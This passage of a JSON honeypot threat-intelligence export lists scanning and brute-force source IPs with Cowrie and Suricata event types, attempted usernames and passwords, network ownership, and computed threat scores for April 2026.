        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12938,
        "days_active_30d": 30,
        "ports_targeted_30d": 2921,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-01T00:00:08.757000+00:00",
        "last_seen_30d": "2026-04-30T23:04:53.304000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10033,
        "Honeytrap": 2825,
        "Cowrie": 18,
        "Mailoney": 18,
        "Dionaea": 14,
        "ConPot": 8,
        "Adbhoney": 6,
        "ElasticPot": 3,
        "Honeyaml": 3,
        "Tanner": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 2,
        "Dicompot": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "180.130.123.206": {
      "attack_count": 14,
      "first_seen": "2026-04-03T03:17:10.286Z",
      "last_seen": "2026-04-03T03:37:12.554Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!Password123",
        "hc123456987"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:17:10.286000+00:00",
        "last_seen_30d": "2026-04-03T03:47:21.393000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "104.248.215.235": {
      "attack_count": 12,
      "first_seen": "2026-04-02T08:14:59.115Z",
      "last_seen": "2026-04-02T08:15:00.712Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:14:59.115000+00:00",
        "last_seen_30d": "2026-04-02T08:16:04.537000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "103.143.10.79": {
      "attack_count": 10,
      "first_seen": "2026-04-22T05:46:13.212Z",
      "last_seen": "2026-04-22T06:01:03.854Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T02:50:21.296000+00:00",
        "last_seen_30d": "2026-04-29T01:51:22.360000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 10
      }
    },
    "167.250.37.3": {
      "attack_count": 10,
      "first_seen": "2026-04-29T14:34:47.361Z",
      "last_seen": "2026-04-29T14:37:31.138Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Santa Rita",
      "asn": 263717,
      "as_org": "SOL TELECOMUNICACIONES S.A.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:34:47.361000+00:00",
        "last_seen_30d": "2026-04-29T14:39:07.377000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "178.214.77.70": {
      "attack_count": 10,
      "first_seen": "2026-04-06T09:46:13.162Z",
      "last_seen": "2026-04-06T09:46:21.186Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": null,
      "asn": 51336,
      "as_org": "Gemzo information technology Private Joint-Stock company",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T09:46:13.162000+00:00",
        "last_seen_30d": "2026-04-06T09:47:27.835000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10
      }
    },
    "178.214.77.72": {
      "attack_count": 10,
      "first_seen": "2026-04-05T16:20:10.167Z",
      "last_seen": "2026-04-05T17:24:36.320Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "K61719ab"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": null,
      "asn": 51336,
      "as_org": "Gemzo information technology Private Joint-Stock company",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T16:20:10.167000+00:00",
        "last_seen_30d": "2026-04-05T17:25:45.802000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10,
        "Honeytrap": 2
      }
    },
    "180.60.165.5": {
      "attack_count": 10,
      "first_seen": "2026-04-04T22:35:38.455Z",
      "last_seen": "2026-04-05T03:41:05.070Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Toyohashi",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:35:38.455000+00:00",
        "last_seen_30d": "2026-04-05T04:03:00.143000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 10
      }
    },
    "185.246.188.73": {
      "attack_count": 8,
      "first_seen": "2026-04-25T19:15:21.268Z",
      "last_seen": "2026-04-25T19:15:42.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 200651,
      "as_org": "FlokiNET ehf",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T19:15:21.268000+00:00",
        "last_seen_30d": "2026-04-25T19:16:50.394000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "45.84.107.198": {
      "attack_count": 8,
      "first_seen": "2026-04-26T20:14:45.327Z",
      "last_seen": "2026-04-26T20:15:06.992Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T09:05:40.916000+00:00",
        "last_seen_30d": "2026-04-26T20:16:16.122000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "20.127.195.188": {
      "attack_count": 7,
      "first_seen": "2026-04-29T15:46:12.613Z",
      "last_seen": "2026-04-29T15:46:22.856Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T15:45:17.909000+00:00",
        "last_seen_30d": "2026-04-29T15:47:32.264000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 7
      }
    },
    "20.65.194.116": {
      "attack_count": 7,
      "first_seen": "2026-04-14T09:43:42.204Z",
      "last_seen": "2026-04-14T09:43:52.313Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-14T09:42:38.805000+00:00",
        "last_seen_30d": "2026-04-26T16:38:18.718000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "185.247.137.198": {
      "attack_count": 6,
      "first_seen": "2026-04-09T10:51:53.416Z",
      "last_seen": "2026-04-09T10:51:57.181Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T10:51:53.416000+00:00",
        "last_seen_30d": "2026-04-27T18:30:45.848000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "198.235.24.117": {
      "attack_count": 6,
      "first_seen": "2026-04-04T16:50:11.183Z",
      "last_seen": "2026-04-09T07:10:31.903Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T01:25:03.494000+00:00",
        "last_seen_30d": "2026-04-30T06:07:42.212000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 31,
        "Cowrie": 6,
        "ConPot": 2,
        "Dionaea": 1
      }
    },
    "64.23.232.109": {
      "attack_count": 6,
      "first_seen": "2026-04-09T08:36:07.834Z",
      "last_seen": "2026-04-09T08:36:08.140Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T08:35:16.752000+00:00",
        "last_seen_30d": "2026-04-09T08:37:13.141000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "66.132.172.181": {
      "attack_count": 6,
      "first_seen": "2026-04-10T08:31:03.493Z",
      "last_seen": "2026-04-10T08:31:39.114Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T23:31:26+00:00",
        "last_seen_30d": "2026-04-30T05:21:41.072000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 44,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 3
      }
    },
    "66.132.172.206": {
      "attack_count": 6,
      "first_seen": "2026-04-15T01:39:20.433Z",
      "last_seen": "2026-04-15T01:40:27.067Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 30,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:58:25+00:00",
        "last_seen_30d": "2026-04-30T18:09:17.021000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Honeytrap": 64,
        "Miniprint": 7,
        "Cowrie": 6,
        "ElasticPot": 4
      }
    },
    "66.132.186.186": {
      "attack_count": 6,
      "first_seen": "2026-04-11T09:36:03.985Z",
      "last_seen": "2026-04-11T09:37:12.591Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-02T14:36:08+00:00",
        "last_seen_30d": "2026-04-30T17:26:01.021000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 34,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "66.132.186.195": {
      "attack_count": 6,
      "first_seen": "2026-04-17T07:42:58.131Z",
      "last_seen": "2026-04-17T07:43:37.954Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T13:23:15.439000+00:00",
        "last_seen_30d": "2026-04-30T15:22:05.742000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 48,
        "ElasticPot": 9,
        "Cowrie": 6,
        "Dicompot": 1,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "120.27.154.152": {
      "attack_count": 5,
      "first_seen": "2026-04-06T05:21:13.119Z",
      "last_seen": "2026-04-06T05:24:45.493Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T05:21:13.119000+00:00",
        "last_seen_30d": "2026-04-21T14:08:41.828000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "218.255.103.194": {
      "attack_count": 5,
      "first_seen": "2026-04-12T18:19:56.869Z",
      "last_seen": "2026-04-12T18:19:58.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "teste"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9381,
      "as_org": "HKBN Enterprise Solutions HK Limited",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T18:19:56.869000+00:00",
        "last_seen_30d": "2026-04-12T18:21:08.022000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "31.57.61.190": {
      "attack_count": 5,
      "first_seen": "2026-04-22T21:39:36.370Z",
      "last_seen": "2026-04-22T21:39:39.411Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T21:39:36.370000+00:00",
        "last_seen_30d": "2026-04-22T21:40:48.510000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "112.132.158.232": {
      "attack_count": 4,
      "first_seen": "2026-04-19T11:11:15.329Z",
      "last_seen": "2026-04-19T11:11:15.906Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T11:11:15.329000+00:00",
        "last_seen_30d": "2026-04-19T11:21:16.374000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.108": {
      "attack_count": 4,
      "first_seen": "2026-04-01T04:45:15.966Z",
      "last_seen": "2026-04-01T04:45:19.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:42:08.778000+00:00",
        "last_seen_30d": "2026-04-30T19:25:31.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 19,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "198.235.24.206": {
      "attack_count": 4,
      "first_seen": "2026-04-26T16:11:01.705Z",
      "last_seen": "2026-04-26T16:11:05.355Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:37:27.023000+00:00",
        "last_seen_30d": "2026-04-30T19:59:11.139000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 30,
        "Cowrie": 4
      }
    },
    "20.14.73.63": {
      "attack_count": 4,
      "first_seen": "2026-04-03T23:33:11.366Z",
      "last_seen": "2026-04-03T23:33:21.806Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 21.7,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 26,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T23:33:11.366000+00:00",
        "last_seen_30d": "2026-04-28T13:20:02.764000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 8,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "205.210.31.172": {
      "attack_count": 4,
      "first_seen": "2026-04-14T22:25:00.477Z",
      "last_seen": "2026-04-14T22:25:04.315Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
